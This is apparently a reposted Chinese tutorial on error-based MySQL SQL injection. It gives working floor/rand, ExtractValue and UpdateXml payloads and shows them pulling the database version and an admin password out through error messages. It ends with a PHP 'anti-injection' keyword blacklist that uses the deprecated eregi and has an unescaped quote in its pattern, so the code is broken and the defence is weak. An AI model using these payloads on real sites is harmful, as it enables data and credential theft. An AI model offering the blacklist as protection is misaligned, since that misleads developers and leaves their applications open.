mysql注入中三種報錯模式利用方法詳解

來源:互聯網
上載者:User

1、通過floor報錯

可以通過如下一些利用代碼

 代碼如下 複製代碼

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

舉例如下:
首先進行正常查詢:

 代碼如下 複製代碼

mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+

假如id輸入存在注入的話,可以通過如下語句進行報錯。

 代碼如下 複製代碼

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'

可以看到成功爆出了Mysql的版本,如果需要查詢其他資料,可以通過修改version()所在位置語句進行查詢。
例如我們需要查詢管理使用者名和密碼:

 代碼如下 複製代碼

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union select null union select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

2、ExtractValue

測試語句如下

 代碼如下 複製代碼

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

實際測試過程

 代碼如下 複製代碼

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: 'admin888'

3、UpdateXml

測試語句

 代碼如下 複製代碼

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

實際測試過程

 代碼如下 複製代碼

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

上面人方法有一個特點就是查詢語句很很長我們可以限制輸入長度,這也可以有效過濾不過sql注入了,下面我來給大家分享一個防sql注入函數。

1.函數的構建

 代碼如下 複製代碼
/*
函數名稱:inject_check()
函數作用:檢測提交的值是不是含有SQL注射的字元,防止注射,保護伺服器安全
參        數:$sql_str: 提交的變數
返 回 值:返回檢測結果,ture or false
*/
function inject_check($sql_str)
{
     return eregi('select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str);    // 進行過濾
 }

 
2.函數的使用執行個體

 代碼如下 複製代碼

<?php
if (inject_check($_GET['id']))
{
     exit('你提交的資料非法,請檢查後重新提交!');
}
else
{
    $id = $_GET['id'];
//處理資料………………
}
?>

更多關於sql防注入的確php教程我們可參考http://www.111cn.net/phper/phpanqn/37379.htm

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.